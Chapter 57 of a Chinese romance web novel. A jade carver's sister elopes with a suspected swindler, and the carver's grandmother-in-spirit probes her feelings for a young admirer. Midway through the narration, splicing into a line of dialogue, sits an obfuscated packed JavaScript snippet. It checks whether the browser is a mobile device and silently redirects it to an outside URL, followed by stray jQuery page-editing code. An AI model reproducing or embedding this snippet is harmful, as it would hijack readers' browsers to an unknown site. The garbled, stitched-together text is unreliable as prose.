57. 第五十七章
作品:《姑娘最是离经叛道》 十日后,许欢言带着采买的玉料回来时,荆霜满水二人还十分惊讶:“东家?你怎么先回来了?二少爷没跟你一起吗?”说着还探头去看。
“啊,他晚点再回。”
许欢言敷衍搪塞着就钻进了琢玉房,吩咐道:“接下来我要认真准备一个月之后交付的雕品,除了必要事情,其余谁都不要放进来。”
“嗯。”知道兹事体大,荆霜也不敢马虎,急忙绷着脸应下,“放心吧东家,我们会守好院子的。”
“麻烦了。”话音方落,人已朝后院走去。
可不过晚间,便有人来找。
原是翠玉。
“听说阿言回来了?”翠玉说着就要往里走。
荆霜忙拦住她,不着痕迹地将人拉到一旁的椅子上坐下,边斟茶边问:“翠玉姑娘可是有什么急事?东家忙着准备一月后交付的成品,特交代过若无什么要紧事不要打扰。”
“我自有要事相讨,荆霜你莫拦我,等见到阿言她自会明白。”说着就让开荆霜又要往里走。
荆霜脸上笑意不减,又揽着她坐下,温声道:“翠玉姐姐不急,有什么烦心事不若先与我说说?若我能为姐姐分忧,又何必劳动东家?”
说到这儿,忽地重叹口气,眼角眉角俱是愁意:“翠玉姐姐你也知道,如今玉迎春飘摇欲坠,若一月后交不出雕品,我们可真是没了活路。
东家日落时才赶回来,连口茶都没喝便匆匆进了琢玉房,想必她心中也焦的不行。
不瞒你说,我虽只是铺里帮工的,可瞧着,也是心疼的不行。
姑娘她比我还小上四五岁,肩上却扛着我们所有人的生计。
她心中压力多大我想都不敢想。
可琢玉一事,我又出不上力,实在是心愧难安。
要说还是翠玉姐姐心善呢,竟能瞧出我心焦,白给我一个安良心的机会。”
荆霜说着又牵着她的手坐下,笑意吟吟:“姐姐有什么事不妨与我说说,你我若能解决,也算全我一份心意。”
她说的这般恳切,句句不漏滴水,偏偏又字字真意,一时之间,翠玉也寻不出该如何驳。
心中暗自叹气,也有些恼怒。
她怎不知如今阿言有更重要的事儿要忙?可心中明了是一方面,真要做起来又是另一方面。
其实她也知道今日自己不该来闹,可那日她只留下一句便去了临城,现在好不容易盼到人回来,却又时日紧迫。
若不是杜郎还有三日便要离开渭南前往京都,她是断不会走这一遭的。
眼瞅着杜郎要走,爹又迟迟不松口,她也是没法了。
眉眼狠狠一耷,便是往日灵巧的眸子都失了几分神采。
荆霜静静听她说完,心中也觉不妥。
可此事终归是东家的家事,她便是再觉不妥,也不敢直说,只试探着问:“翠玉姐姐,杜郎君为何不愿留在渭南?
渭南虽小,却也称得上钟灵毓秀四个字;城内风土也算得上繁茂,他为何不愿留在渭南?”
“唉,”翠玉叹道:“我也问过他,他只道自家根基不在这儿,留在渭南担心赚不到银钱日后苦了我。
我能体谅他,他都是为我着想。
如今难的是,如何让爹爹松口。
杜郎与我说,他聘礼早已备好,只待爹一松口,便上门提亲。
本来这事也不急,孰料他京都好友传信来说京都又来一批好货,让他速归。我这才不得不来找阿言。”
“他不是游商吗?”翠玉疑惑道:“游商不是四海为家吗?谈何根基?
他若有心,自可在渭南添置宅院铺面,届时体面迎你,我想许阿伯也不会不同意。”
“此事说来简单,做起来谈何容易。”
翠玉垂着眼,头无力地撑着,惆怅出声:“这法子我不是没与他说过。
只是杜郎说早些年他便倾尽财产在京都置了房屋,便是如此还不不够,他又以房契赁了不少银子,可得还上几年。”
“既如此,又谈何让你过好日子?”
“所以啊,他这才急着回京都拿下这批稀罕货。据他所说,此番若拿下,许就能全部还清啦。”
“若当真如此,你便放他回去,待还清后,再带着房契来迎你京都,岂不美哉?”
荆霜提议道。
翠玉却缓缓摇头,“不成。他说此番回京后,要先去西域倒卖,这一来一回,不知又要多少年,他不想耽搁我。”
荆霜听的两眼一黑,便是再好的脾气此刻也忍不住发闷。
这种人她在京都见得多了,就是活生生一骗子!
有些人是专骗那些世家大族的小姐,哄骗着她们出格,最终各族迫于无奈,不得不妥协。
或赘或娶,总之,都留了后患。
待到家中长辈去世,这一族便彻底归他们之手。
偏生那些小姐们看不明白,便是旁人提醒,也听不进去,正如此时的翠玉。
她好言好语劝了许久,也举了京都不少世家小姐的例子,偏偏她是个死脑筋,硬是半点没听进去,只挎着脸离开。
荆霜瞧着她气冲冲的背影,心中连连叹气。
思索片刻,还是决定去禀告。
此事重大,不是自己能拿主意的。
许欢言知道的时候,也只是一叠声儿地叹气。
她如何不知自己姐姐是个不听劝的?只她这般死心塌地......
唉——
“难不成就真看着她入火坑?”荆霜愁着脸问。
许欢言摇摇头,道:“只要爹爹咬死了不松口,应当不至于。”
她想得好,许老爹也的确咬死了没松口,可他们都不曾料到翠玉会那般胆大,竟敢同人私奔!
她谁也没告诉,只自己收好包袱,悄然走了。还是许老爹拿着她留的信,找到玉迎春时,她们才知道。
不知她是何时走的,只想报官去寻。
可许老爹却拦住了她,“此时报官有损你姐姐声誉,若那杜文是个好的便罢,可若日后她受了委屈回来了,你叫她如何自处?”
“爹!”许欢言拧眉驳道:“这都什么时候了,还在乎声誉?在你心里,声誉难道比人命还重要?!”
“自然不是,可声誉能要人命啊闺女。”许老爹臊着眉眼,语重心长地说着。
许欢言不说话了。
半晌,她才道:“若不能报官,那我们现在该如何是好?难道就不找了吗?”
“找!当然要找。”许老爹起身,拐杖在地上杵的砰砰响,“我们先不报官,只自己私下找,若有人问你姐姐去哪了,就说她去看你祖母了。
如此搪塞着,能瞒多久是多久吧。”
话落又忍不住叹气,末了似想到什么,又道:“对了,她心里是不是说要去京都?”
“嗯。”许欢言应道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356016|163560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许老爹点点头,交代着:“那我们就派些人,沿着去京的路上找,若到了京都还没找到,只看着她过得好,也算安心。”
“唉,只望是我们都看走眼了吧。”许老爹拄着拐离开,嘴里低声感慨。
见状,许欢言也忍不住祈祷:阿姐,但愿你的选择没错。
后又急忙派人去寻,如今可用之人不多,好在裴老夫人得了信,忙派不少人过来。她自己也迢迢赶来,拍着她的手宽慰:“阿言,你别急。
这些人都是可信的,让他们去寻,你先忙你自己的,先把眼前的事儿解决。
那杜文未免就一定是个不可靠的,你且宽心。”
“嗯,”许欢言点点头,疲惫地揉着眉心,叹声道:“劳烦阿婆操心了。”
“都是小事。”裴老夫人和蔼笑着。
话落犹豫半晌,终没忍住,试探开口:“阿言,近日可是我家那混小子又惹你生气了?”
“啊?”许欢言本就因着先前的事儿有些心虚,此刻被她陡然提起,更是慌得不敢抬眼,只道:“没有啊,怎么突然这么问?”
裴老夫人垂眸,十分不解:“那便奇了,往日我家那混小子自来都是三句话不离你,可自昨日回京,不仅话少了,竟也没提你。
甚至还应了李家那混小子踏春的约,今一早打扮的花枝招展出门去了。”
“这样啊,”许欢言头也不抬,声色淡淡,听不出情绪:“许是最近心情不好出门散心吧。”
她明显不愿多说,裴老夫人也不便多问,只得寻个借口作罢离开。
待她走后,许欢言才抬头,看向漫天春色,半晌又耷拉下来,呐呐语道:“也好。”
这般也好。
她无法回应这段感情,他另寻他人,也好。
只是想的已然这般通透,为何心中却糟乱发闷,半晌都静不下来,连带着手上动作都慢了下来。
沉思许久,仍磨不明白,只当是今日日头太盛,晒得人发闷。
这厢,闷热愁人;那厢,却有人气的跳脚。
“什么!”
当裴老夫人告诉他许欢言无甚表情时,裴江遥气的直接从椅子上蹦起来,双手叉腰,七窍都在冒火!
“她真这么说的?”
“嗯。”裴老夫人点点头,往后一仰,看好戏。
末了,还忍不住添柴,“分字不差。”
果然,裴江遥更气了。
“我找这个没良心的去!我对她一心一意,她把我当什么?呼之即来挥之即去的小厮吗?”
裴江遥双手叉腰,脚踩地砰砰响,骂骂咧咧地出门。
裴老夫人在后面瞧着,笑呵呵添油:“晚上不着急回来啊。”
话音方落,只瞧见气昂昂的某人,忽地回身,低眉臊眼地溜回来,一屁股扔在椅子上,仰天长叹:“不行,我没理啊。”
“祖母,我没理怎么办——”
裴老夫人抿唇偷笑:“你如何没理?”
裴江遥道:“我用什么名义呢?她只当我是挚友。纵使我满心赤诚,也没得强逼她接受的道理。”
“既如此,你又为何非要她接受?”
“相爱,不就要在一起吗?”裴江遥不解。
“爱分很多种,喜结良缘是一种;顶峰相见也是一种;相互扶持,又是一种。”
裴老夫人抬眸,混浊老目紧盯着他,问:“你觉得你们,是哪一种?”